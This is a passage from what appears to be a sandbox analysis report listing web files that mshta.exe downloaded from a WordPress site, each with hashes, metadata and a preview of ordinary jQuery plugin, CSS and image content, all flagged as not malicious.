                                                              SHA1:3A301C6DFB6B691B0453CEB4A1065BD7C2A5BD8A
                                                              SHA-256:9E806234DF297746D665A8E76B129BF708E4470D7A50FEF5905D306176BEA1C1
                                                              SHA-512:12F2867F5D91CCD42F3893884BB5BDD1F25AE7024B7CEED9CBF108498EFA374B186C38209A6A0468A88D8A12C1F758E25FE5A081B76588A0BAED4B3A26EDEF51
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1
                                                              Preview:jQuery(document).ready(function(){..// OWL Carousel init...cherryPluginCarouselInit();...// Full-width block with left-right paddings...jQuery('.content_box.full-width').wrapInner('<div class="full-block-wrap"></div>');..jQuery(window).resize( function(){...contenBoxResizeFunction();..});...contenBoxResizeFunction();..function contenBoxResizeFunction(){...var width_of_viewport = jQuery(window).width(),....half_width_of_viewport = width_of_viewport / 2,....width_of_container = jQuery('.content-holder > .container').width();....jQuery('.content_box.full-width').width(width_of_container);...jQuery('.content_box.full-width').css({'padding-left': half_width_of_viewport+'px', 'padding-right': half_width_of_viewport+'px', 'margin-left': '-'+half_width_of_viewport+'px'});...jQuery('.full-block-wrap').width(width_of_container);..}.});..function cherryPluginCarouselInit() {..jQuery('div[id^="owl-carousel-"]').each(function(){...var carousel = jQuery(this),....auto_play = parseInt(carousel.attr('

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\custom[1].js

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text
                                                              Category:downloaded
                                                              Size (bytes):7063
                                                              Entropy (8bit):4.760531090364714
                                                              Encrypted:false
                                                              SSDEEP:96:bHXKN1r0gCJ5e2zHdXv9CSjlvrOQLAn2jYU:bHaH0g4JXv9fJaWAn6p
                                                              MD5:9CA23FDB7BD610BD719855071377B6EF
                                                              SHA1:058963F75C878FA6E48671046293F9B70D35B5AB
                                                              SHA-256:859D8F76737036B7C6475508DBA8DA8BD0764AA99CA5A9D4638FADC0238AB4A4
                                                              SHA-512:15625C798E1402DACAFFBFBE064CD3D430D51FBB0E40890AD08A4F60389D24459C7B6E19030EDB32380377E73E0C387A819AB29AF308C5DE5C3E708AEA416556
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0
                                                              Preview:// ---------------------------------------------------------.// !!!!!!!!!!!!!!!!!document ready!!!!!!!!!!!!!!!!!!!!!!!!!!.// ---------------------------------------------------------.jQuery(document).ready(function(){.// ---------------------------------------------------------.// Blog masonry.// ---------------------------------------------------------..if(jQuery('body.blog')[0]){...var isotope_holder = jQuery('.isotope');...isotope_holder.imagesLoaded( function() {....isotope_holder.isotope({.....itemSelector : '.post_wrapper',.....hiddenClass : 'hidden',.....resizable : true,.....transformsEnabled : false,.....layoutMode: 'masonry'....}).bind("resize.rainbows", function(){.....isotope_holder.isotope('reLayout');....}).trigger("resize.rainbows").css({'visibility':'visible'});...});..}.// ---------------------------------------------------------.// Call Magnific Popup.// ---------------------------------------------------------..jQuery(".thumbnail").parent().each(function(){magnific_p

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\device.min[1].js

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text, with very long lines
                                                              Category:downloaded
                                                              Size (bytes):2778
                                                              Entropy (8bit):4.92970371310333
                                                              Encrypted:false
                                                              SSDEEP:48:xLnN+tyKOxwaPYuxwFAmKldNzr1JhxPE63haDJ77LMeHrc76cCgP:hTPCoEt6
                                                              MD5:CCD1C11A6BA5DF0CBFC470B04A3739F4
                                                              SHA1:A8864D81DE7689672EF8F916E430AAABF563C22D
                                                              SHA-256:A6BA246C6B7B60AFFBB369C8884D172DD3E4702A594F09BBA678A7773A25E411
                                                              SHA-512:31F7B74A31E796534D0F51BD9BC9004BDD30EE896D987300A220DADAA526753C9C6D00081F4E9D18EA2BF875C776D6ED55CBA62404B22534BCD45A277EC45A79
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0
                                                              Preview:/*! device.js 0.1.58 */.(function(){var a,b,c,d,e,f,g,h,i,j;a=window.device,window.device={},c=window.document.documentElement,j=window.navigator.userAgent.toLowerCase(),device.ios=function(){return device.iphone()||device.ipod()||device.ipad()},device.iphone=function(){return d("iphone")},device.ipod=function(){return d("ipod")},device.ipad=function(){return d("ipad")},device.android=function(){return d("android")},device.androidPhone=function(){return device.android()&&d("mobile")},device.androidTablet=function(){return device.android()&&!d("mobile")},device.blackberry=function(){return d("blackberry")||d("bb10")||d("rim")},device.blackberryPhone=function(){return device.blackberry()&&!d("tablet")},device.blackberryTablet=function(){return device.blackberry()&&d("tablet")},device.windows=function(){return d("windows")},device.windowsPhone=function(){return device.windows()&&d("phone")},device.windowsTablet=function(){return device.windows()&&d("touch")},device.fxos=function(){return(

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\device.min[2].js

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text, with very long lines
                                                              Category:downloaded
                                                              Size (bytes):2778
                                                              Entropy (8bit):4.92970371310333
                                                              Encrypted:false
                                                              SSDEEP:48:xLnN+tyKOxwaPYuxwFAmKldNzr1JhxPE63haDJ77LMeHrc76cCgP:hTPCoEt6
                                                              MD5:CCD1C11A6BA5DF0CBFC470B04A3739F4
                                                              SHA1:A8864D81DE7689672EF8F916E430AAABF563C22D
                                                              SHA-256:A6BA246C6B7B60AFFBB369C8884D172DD3E4702A594F09BBA678A7773A25E411
                                                              SHA-512:31F7B74A31E796534D0F51BD9BC9004BDD30EE896D987300A220DADAA526753C9C6D00081F4E9D18EA2BF875C776D6ED55CBA62404B22534BCD45A277EC45A79
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0
                                                              Preview:/*! device.js 0.1.58 */.(function(){var a,b,c,d,e,f,g,h,i,j;a=window.device,window.device={},c=window.document.documentElement,j=window.navigator.userAgent.toLowerCase(),device.ios=function(){return device.iphone()||device.ipod()||device.ipad()},device.iphone=function(){return d("iphone")},device.ipod=function(){return d("ipod")},device.ipad=function(){return d("ipad")},device.android=function(){return d("android")},device.androidPhone=function(){return device.android()&&d("mobile")},device.androidTablet=function(){return device.android()&&!d("mobile")},device.blackberry=function(){return d("blackberry")||d("bb10")||d("rim")},device.blackberryPhone=function(){return device.blackberry()&&!d("tablet")},device.blackberryTablet=function(){return device.blackberry()&&d("tablet")},device.windows=function(){return d("windows")},device.windowsPhone=function(){return device.windows()&&d("phone")},device.windowsTablet=function(){return device.windows()&&d("touch")},device.fxos=function(){return(

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\error[1]

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:HTML document, UTF-8 Unicode (with BOM) text, with CRLF line terminators
                                                              Category:dropped
                                                              Size (bytes):3247
                                                              Entropy (8bit):5.459946526910292
                                                              Encrypted:false
                                                              SSDEEP:96:vKFlZ/kxjqD9zqp36wxVJddFAdd5Ydddopdyddv+dd865FhlleXckVDuca:C0pv+GkduSDl6LRa
                                                              MD5:16AA7C3BEBF9C1B84C9EE07666E3207F
                                                              SHA1:BF0AFA2F8066EB7EE98216D70A160A6B58EC4AA1
                                                              SHA-256:7990E703AE060C241EBA6257D963AF2ECF9C6F3FBDB57264C1D48DDA8171E754
                                                              SHA-512:245559F757BAB9F3D63FB664AB8F2D51B9369E2B671CF785A6C9FB4723F014F5EC0D60F1F8555D870855CF9EB49F3951D98C62CBDF9E0DC1D28544966D4E70F1
                                                              Malicious:false
                                                              Preview:...<HTML id=dlgError STYLE="font-family: ms sans serif; font-size: 8pt;..width: 41.4em; height: 24em">..<HEAD>..<meta http-equiv="Content-Type" content="text/html; charset=utf-8">..<META HTTP-EQUIV="MSThemeCompatible" CONTENT="Yes">..<TITLE id=dialogTitle>..Script Error..</TITLE>..<SCRIPT>..var L_Dialog_ErrorMessage = "An error has occurred in this dialog.";..var L_ErrorNumber_Text = "Error: ";..var L_ContinueScript_Message = "Do you want to debug the current page?";..var L_AffirmativeKeyCodeLowerCase_Number = 121;..var L_AffirmativeKeyCodeUpperCase_Number = 89;..var L_NegativeKeyCodeLowerCase_Number = 110;..var L_NegativeKeyCodeUpperCase_Number = 78;..</SCRIPT>..<SCRIPT LANGUAGE="JavaScript" src="error.js" defer></SCRIPT>..</HEAD>..<BODY ID=bdy onLoad="loadBdy()" style="font-family: 'ms sans serif';..font-size: 8pt; background: threedface; color: windowtext;" topmargin=0>..<CENTER id=ctrErrorMessage>..<table id=tbl1 cellPadding=3 cellspacing=3 border=0..style="background: buttonface

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\facex_horizontal2-e1535501425981[1].png

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:PNG image data, 647 x 203, 8-bit/color RGBA, non-interlaced
                                                              Category:downloaded
                                                              Size (bytes):22332
                                                              Entropy (8bit):7.95225542017139
                                                              Encrypted:false
                                                              SSDEEP:384:uOarYkT57qgE2KHef+OaSjnSuvLYF4Ex+ZdnNqe7rS1:darV5ugE2KzO5bSuvLY6Ex0nZ/S1
                                                              MD5:2480CFD093671638A8FB34154B96D47A
                                                              SHA1:3F412F18AAAFDEDC7354C60A7B1CE6A5DD5168D3
                                                              SHA-256:3B2E707E645AF05594B0E247F77AB992B59767637F9A21A34A826CC16E0250D2
                                                              SHA-512:C6FF46FC26E7F934812382F0AAE8BABEC184207F00E4FE696BE92F9548DC3630657B5EFFD87EA284254A8E6A6DCFCCEB93862AD6DB0F6D6647E026346963158D
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.png
                                                              Preview:.PNG........IHDR...............9... .IDATx..y|T...?.;K&.!.$........#K@..nE....e.Vl..........i.....Rk!..\.......(.,!..I.!d..~.?f.If.=w.d&.y..W.=..3K.~.w.$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$...ho V..l..We[@.LJ*......m....3.Dp...Fb4........Cc...\{._.D".H$..Vz.8.{.d....)y._.p.@..9.D....f.01...S...lQ....5`m.D".H$.C.q....T..z..L........b0.dP)..2<.L..... .H$..D..!.wWT.i.....8.......L........<"5.[.H$..D.....H.pUQo%`.@.....Q...P.q9..D{?..D".Hz..J..=y2..T......D{?F... ~.U....*...H$..D.....6....|........f..m...........-...].4.<P....E.. .b..bBo......$.!.w......'.&%....n........~{.ZL".H$..$.]Z.~\qj...#L|.....GN6...z..9.oj..Yc..T6t.ID.....I......NAn.d..{....R.G/.M...J$..D"..tIq..h.`......f...`.j|Yy.......6C2.b...d`_..N:...._...b~(?7s..;.H$..D...R.p..d%N}.....u..f.~q.e.x..).[....L.M..,...........f....$..D".....8.]^.}..#B........Nb..U.Z{...3.+.+.za..,L.(...I.<.;...bv-..0.9...H$..D.].yq..p.0R.gAt....g....l..T.\.F1.j

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\flexslider[1].css

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text, with very long lines
                                                              Category:downloaded
                                                              Size (bytes):5941
                                                              Entropy (8bit):5.075074456166432
                                                              Encrypted:false
                                                              SSDEEP:48:+XXpDjoVAxgD1/g1JlYZYGWUQlfAci14nNSvOFfYuzjwWPQvg8DhHoqK4zORAxFm:KpoVhxSK6UQlf21VOCo8FI74aRO9nblc
                                                              MD5:C553A58B7B87830D624BC55C478732AD
                                                              SHA1:E53CF7C7030F1CAACFEF4C00E7092340B61ABFC2
                                                              SHA-256:013585D07F16D114D3402E3B540854C914254D7F17FD430E216E8DF7334C9C92
                                                              SHA-512:8A68FBB8ECEC471BFDA84B524C56085BD8D928A97B0F538E531E2E057A15DA74FEDE3A2F32EEDE437C278778A302B25F4AE3B388E135878C0D2283691B7E3C48
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/flexslider.css?ver=2.2.0
                                                              Preview:/*. * jQuery FlexSlider v2.2.0. * http://www.woothemes.com/flexslider/. *. * Copyright 2012 WooThemes. * Free to use under the GPLv2 license.. * http://www.gnu.org/licenses/gpl-2.0.html. *. * Contributing author: Tyler Smith (@mbmufffin). */.../* Browser Resets.*********************************/..flex-container a:active,..flexslider a:active,..flex-container a:focus,..flexslider a:focus {outline: none;}..slides,..flex-control-nav,..flex-direction-nav {margin: 0; padding: 0; list-style: none;}..flexslider-rtl {direction:rtl; text-align:right;}./* Icon Fonts.*********************************/./* Font-face Icons */.@font-face {..font-family: 'flexslider-icon';..src:url('fonts/flexslider-icon.eot');..src:url('fonts/flexslider-icon.eot?#iefix') format('embedded-opentype'),...url('fonts/flexslider-icon.woff') format('woff'),...url('fonts/flexslider-icon.ttf') format('truetype'),...url('fonts/flexslider-icon.svg#flexslider-icon') format('svg');..font-weight: normal;..font-style: normal;.}../

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\jflickrfeed[1].js

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text, with very long lines
                                                              Category:downloaded
                                                              Size (bytes):1076
                                                              Entropy (8bit):5.146194862266352
                                                              Encrypted:false
                                                              SSDEEP:24:2wFz5dxCwMo9Ip1Axquw14QOdq9aE0VrkV/VDFVHV6VJvV7d9r2lLnsn1Dn:FzVdYgqjOdquS9z1wJtJe7s1D
                                                              MD5:FE76A6B329775418FB0EFE5FE8797001
                                                              SHA1:6ADF84DEC08BAF40C1CB81BB94610EEBEB630451
                                                              SHA-256:7F83A9259FD19BC18D4C3ED17095CBDE1A8974BA1E727F99321454E6F117D4E7
                                                              SHA-512:D94D842E4461984D5858CA04B1C7C9B7F3BCDB25F6C8BD551F1CA6825ACC314DEE3E4F5605A97DD79EF92703BF5AB7B8DE9BE91C5802063A311C2945173397CE
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0
                                                              Preview:(function(b){b.fn.jflickrfeed=function(c,e){c=b.extend(!0,{flickrbase:"//api.flickr.com/services/feeds/",feedapi:"photos_public.gne",limit:20,qstrings:{lang:"en-us",format:"json",jsoncallback:"?"},cleanDescription:!0,useTemplate:!0,itemTemplate:"",itemCallback:function(){}},c);var d=c.flickrbase+c.feedapi+"?",f=!0,g;for(g in c.qstrings)f||(d+="&"),d+=g+"="+c.qstrings[g],f=!1;return b(this).each(function(){var g=b(this),f=this;b.getJSON(d,function(d){b.each(d.items,function(d,a){if(d<c.limit){if(c.cleanDescription){var b=./<p>(.*?)<\/p>/g,e=a.description;b.test(e)&&(a.description=e.match(b)[2],void 0!=a.description&&(a.description=a.description.replace("<p>","").replace("</p>","")))}a.image_s=a.media.m.replace("_m","_s");a.image_t=a.media.m.replace("_m","_t");a.image_m=a.media.m.replace("_m","_m");a.image=a.media.m.replace("_m","");a.image_b=a.media.m.replace("_m","_b");delete a.media;if(c.useTemplate){var b=c.itemTemplate,h;for(h in a)b=b.replace(RegExp("{{"+h+"}}","g"),a[h]);g.append(

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\jquery.jplayer.min[1].js

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text, with very long lines
                                                              Category:downloaded
                                                              Size (bytes):54355
                                                              Entropy (8bit):5.24962012461709
                                                              Encrypted:false
                                                              SSDEEP:1536:7csOF0XSMqEk3nRw9o5cfQPfu5+6Vo5aUuyEwVUEn6:7f4dfPfu51W53EWR6
                                                              MD5:8FBB3319230D3C08397B7BDA5BCB1DC2
                                                              SHA1:E7C9CBBFA4EC48771C03878949AD0A4128BABF62
                                                              SHA-256:493DB6D1EC51719B44E204D0594B5BCBDC81CE173A64D3E90513A468CECBD383
                                                              SHA-512:0BEA93F519BD1D9C10D41A8345807CBCE0D5C8C0FCF98D4B325EA00587474E05138C279469AECB0A3D0054A2941E380E6EC5839D7A6230697CD23F6DFC0718D0
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0
                                                              Preview:/*. * jPlayer Plugin for jQuery JavaScript Library. * http://www.jplayer.org. *. * Copyright (c) 2009 - 2014 Happyworm Ltd. * Licensed under the MIT license.. * http://opensource.org/licenses/MIT. *. * Author: Mark J Panaghiston. * Version: 2.6.0. * Date: 2nd April 2014. */..(function(b,f){"function"===typeof define&&define.amd?define(["jquery"],f):b.jQuery?f(b.jQuery):f(b.Zepto)})(this,function(b,f){b.fn.jPlayer=function(a){var c="string"===typeof a,d=Array.prototype.slice.call(arguments,1),e=this;a=!c&&d.length?b.extend.apply(null,[!0,a].concat(d)):a;if(c&&"_"===a.charAt(0))return e;c?this.each(function(){var c=b(this).data("jPlayer"),h=c&&b.isFunction(c[a])?c[a].apply(c,d):c;if(h!==c&&h!==f)return e=h,!1}):this.each(function(){var c=b(this).data("jPlayer");c?c.option(a||.{}):b(this).data("jPlayer",new b.jPlayer(a,this))});return e};b.jPlayer=function(a,c){if(arguments.length){this.element=b(c);this.options=b.extend(!0,{},this.options,a);var d=this;this.element.bind("remove.jPlayer",

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\jquery.mobile.customized.min[1].js

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text, with very long lines, with no line terminators
                                                              Category:downloaded
                                                              Size (bytes):17219
                                                              Entropy (8bit):5.3136571369702965
                                                              Encrypted:false
                                                              SSDEEP:384:9Cda0BL3liEPys8C5w+J1HAZ3vePKL3VYb2:YDdys8CuYKZ3vePKL3Wi
                                                              MD5:F937C24AEE1A092CB9A337391ACFA645
                                                              SHA1:22B537591377B42445B6383F54F6C05D4EBFE39A
                                                              SHA-256:B5CF71E5EBD435D68E269558177FD4F444F36B0E8C18F7299F1590E0EE12B146
                                                              SHA-512:9F2BE4FD1D3D2CBD2B8E7E4028F540C6CE0FD5889F4CD5BD2DB06076239E400CC07E0DB88319E9C3AAD8973E70CACAC5F69247DC7E09B777ECBF67C3F26FE059
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.js
                                                              Preview:window.define=function(){Array.prototype.slice.call(arguments).pop()(window.jQuery)};define(["jquery"],function(a){(function(a,b){if(a.cleanData){var c=a.cleanData;a.cleanData=function(b){for(var d=0,e;(e=b[d])!=null;d++){a(e).triggerHandler("remove")}c(b)}}else{var d=a.fn.remove;a.fn.remove=function(b,c){return this.each(function(){if(!c){if(!b||a.filter(b,[this]).length){a("*",this).add([this]).each(function(){a(this).triggerHandler("remove")})}}return d.call(a(this),b,c)})}}a.widget=function(b,c,d){var e=b.split(".")[0],f;b=b.split(".")[1];f=e+"-"+b;if(!d){d=c;c=a.Widget}a.expr[":"][f]=function(c){return!!a.data(c,b)};a[e]=a[e]||{};a[e][b]=function(a,b){if(arguments.length){this._createWidget(a,b)}};var g=new c;g.options=a.extend(true,{},g.options);a[e][b].prototype=a.extend(true,g,{namespace:e,widgetName:b,widgetEventPrefix:a[e][b].prototype.widgetEventPrefix||b,widgetBaseClass:f},d);a.widget.bridge(b,a[e][b])};a.widget.bridge=function(c,d){a.fn[c]=function(e){var f=typeof e==="str

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\jquery.zaccordion.min[1].js

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text, with very long lines, with no line terminators
                                                              Category:downloaded
                                                              Size (bytes):10762
                                                              Entropy (8bit):5.077152335060303
                                                              Encrypted:false
                                                              SSDEEP:192:UJrUdgSDnkqTJT3De0no2zDEJEBk/UdjwUSPh/im9X:UJvSDnTJTa0nocEJrUdjwUSJ/im9X
                                                              MD5:83587A80FA209ADBA2AE7D9C7D817790
                                                              SHA1:0AD068CE6FB22A723676D786D0F5AA8922E34814
                                                              SHA-256:3454594300968DF56A52E0EF020632006412FB99ABEF27D917E21A715C586225
                                                              SHA-512:527C20333ED686C4382B5D2651AA94B202A8E180BCC36954B0395DBB0E5AD4E285882049BE2C9BF245522490AF012E98DE0931E3CFB24F7147F3811CE2DFE440
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0
                                                              Preview:(function(a){a.fn.zAccordion=function(e){var d={timeout:6000,width:null,slideWidth:null,tabWidth:null,height:null,startingSlide:0,slideClass:null,easing:null,speed:1200,auto:true,trigger:"click",pause:true,invert:false,animationStart:function(){},animationComplete:function(){},buildComplete:function(){},errors:false},c={displayError:function(g,f){if(window.console&&f){console.log("zAccordion: "+g+".")}},findChildElements:function(f){if(f.children().get(0)===undefined){return false}else{return true}},getNext:function(g,h){var f=h+1;if(f>=g){f=0}return f},fixHeight:function(f){if((f.height===null)&&(f.slideHeight!==undefined)){f.height=f.slideHeight;return true}else{if((f.height!==null)&&(f.slideHeight===undefined)){return true}else{if((f.height===null)&&(f.slideHeight===undefined)){return false}}}},getUnits:function(f){if(f!==null){if(f.toString().indexOf("%")>-1){return"%"}else{if(f.toString().indexOf("px")>-1){return"px"}else{return"px"}}}},toInteger:function(f){if(f!==null){return pa

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\logo-slider-wp-public[1].css

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text
                                                              Category:downloaded
                                                              Size (bytes):5372
                                                              Entropy (8bit):4.984476165106454
                                                              Encrypted:false
                                                              SSDEEP:96:AJKII0S0eTHhUELNZQety9Q2dJie/JTwJTG/JiGS61iL0:iQQBSw
                                                              MD5:3A2087F6BBC2271D1A7484512C92A4BB
                                                              SHA1:B15329AD5E236432E2B7972242E3DDC0E93BE73A
                                                              SHA-256:D836BDB6405A34D357393B88B95298C535A088D8DF6F84805B8290182CD7EF13
                                                              SHA-512:9FCDEBC1712A9666A9CC7DD7BB505B6B4369224653C542854FECEBD073C83A9C228F80A9D5A3B61BE9836DFFF2692DBEF9DE949542CEF6251ED74E2589374612
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/css/logo-slider-wp-public.css?ver=1.0.0
                                                              Preview:/**. * All of the CSS for your public-facing functionality should be. * included in this file.. */..lgx-logo-slider-wp .owl-stage {. display: flex;. align-items: center;.}...lgx-logo-slider-wp .lgx-logo-wrapper {. padding: 25px 0;.}..lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-nav {. text-align: center;.}..lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-nav .owl-next,..lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-nav .owl-prev {. margin: 1px;.}..lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-nav [class*=owl-] {. background: transparent;.}..lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-next img,..lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-prev img {. width: 30px;.}..lgx-logo-slider-wp .wp-logo-border .lgx-logo-item {. border-style: solid;. border-width: 2px;.}..lgx-logo-slider-wp .lgx-logo-item {. cursor: pointer;. text-align: center;.}..lgx-logo-slider-wp .lgx-logo-item .logo-com

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\logo-slider-wp-public[1].js

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text, with CRLF line terminators
                                                              Category:downloaded
                                                              Size (bytes):3006
                                                              Entropy (8bit):4.209501226216895
                                                              Encrypted:false
                                                              SSDEEP:48:N10K1DK3whocmVMBCu2m+JI/QNAIslqw+Pw6z:NSqDK3sN+JWkF/H
                                                              MD5:7B766A62E26ADB736A822B315A891025
                                                              SHA1:A2580B9177A2CA0ACB345FE440414DE7DF2A5E26
                                                              SHA-256:65CA4BF164BFD1056D4AF9E83F40FB8B4D51840485D9A09021468BB3F5AAAC76
                                                              SHA-512:8FE2938731EBB108F8797DA1D46CEB7E353131D770633FB9AF4E36BE48D19B912742028E86B0D7AF5587A19A328AD0E6C2945B550E2C347482375A1C10CE88A6
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js?ver=1.0.0
                                                              Preview:(function() {.. 'use strict';.... /**.. * All of the code for your public-facing JavaScript source.. * should reside in this file... *.. * Note: It has been assumed you will write jQuery code here, so the.. * $ function reference has been prepared for usage within the scope.. * of this function... *.. * This enables you to define handlers, for when the DOM is ready:.. *.. * $(function() {... *... * });.. *.. * When the window is loaded:.. *.. * $( window ).load(function() {... *... * });.. *.. * ...and/or other possibilities... *.. * Ideally, it is not considered best practise to attach more than a.. * single DOM-ready or window-load handler for a particular page... * Although scripts in the WordPress core, Plugins and Themes may be.. * practising this, we should strive to set a better example in our own work... */...... jQuery(document).ready(function($) {.... $('.lgx-logo-carousel'

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\modernizr[1].js

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:HTML document, ASCII text, with very long lines, with no line terminators
                                                              Category:downloaded
                                                              Size (bytes):12314
                                                              Entropy (8bit):5.301581700967231
                                                              Encrypted:false
                                                              SSDEEP:192:Eu55THWDn9KHdfJJqbbo5jaSJJJkSeIUHV+2LDDhWwpy8b7z:j5RHWD9KxJJAo5jakrwHVrHh1pz
                                                              MD5:8CEF5686125E254FB53C25F16E310525
                                                              SHA1:93522E2AB068A3433331E08144722DD57A8FAE9A
                                                              SHA-256:6C44371BECA8CB2A76B857B17532BB3512B2E68B4A8678AB4288B95353005A0F
                                                              SHA-512:BBA61E0EC78AC07E6EF8D4195D6E17B6276559129749F1B1C836826AB5660CFC5441CB7F979EFDC7D5ED0931EC2AD8C6DC21BAEF83CB19218B107441B2A9E290
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6
                                                              Preview:;window.Modernizr=function(a,b,c){function B(a){j.cssText=a}function C(a,b){return B(n.join(a+";")+(b||""))}function D(a,b){return typeof a===b}function E(a,b){return!!~(""+a).indexOf(b)}function F(a,b){for(var d in a){var e=a[d];if(!E(e,"-")&&j[e]!==c)return b=="pfx"?e:!0}return!1}function G(a,b,d){for(var e in a){var f=b[a[e]];if(f!==c)return d===!1?a[e]:D(f,"function")?f.bind(d||b):f}return!1}function H(a,b,c){var d=a.charAt(0).toUpperCase()+a.slice(1),e=(a+" "+p.join(d+" ")+d).split(" ");return D(b,"string")||D(b,"undefined")?F(e,b):(e=(a+" "+q.join(d+" ")+d).split(" "),G(e,b,c))}function I(){e.input=function(c){for(var d=0,e=c.length;d<e;d++)t[c[d]]=c[d]in k;return t.list&&(t.list=!!b.createElement("datalist")&&!!a.HTMLDataListElement),t}("autocomplete autofocus list placeholder max min multiple pattern required step".split(" ")),e.inputtypes=function(a){for(var d=0,e,f,h,i=a.length;d<i;d++)k.setAttribute("type",f=a[d]),e=k.type!=="text",e&&(k.value=l,k.style.cssText="position:abs

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\owl.carousel[1].css

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text
                                                              Category:downloaded
                                                              Size (bytes):5924
                                                              Entropy (8bit):5.072069034552564
                                                              Encrypted:false
                                                              SSDEEP:48:A/ZGnrZNGkS5fS0sGukCMiVG9/WDLqI+TlZ7kKXQmMfdScuFeUK7rqW9dvgOGH6o:oZ0ZQolYC1+kp+5Z7kKXQmGoeUK7+P
                                                              MD5:2737F7BF6C359378B907AE244C7C41C3
                                                              SHA1:14C848EA1F424CD82CBF1F732BBEB0D50F06169F
                                                              SHA-256:2EDF2AA5AAA3ABEDE8968ECCFE9871849205188186D1AE62F14AB3FF4BB8EF6C
                                                              SHA-512:994CBEE171BF10EA517579819D6F82C446F10ADFF9DB72EB78771560DC8DB855799D1B9B4E6360EA4E2010965569F46BB371B1E75398FDF5510D2BCC8FC1BC60
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.carousel.css?ver=1.24
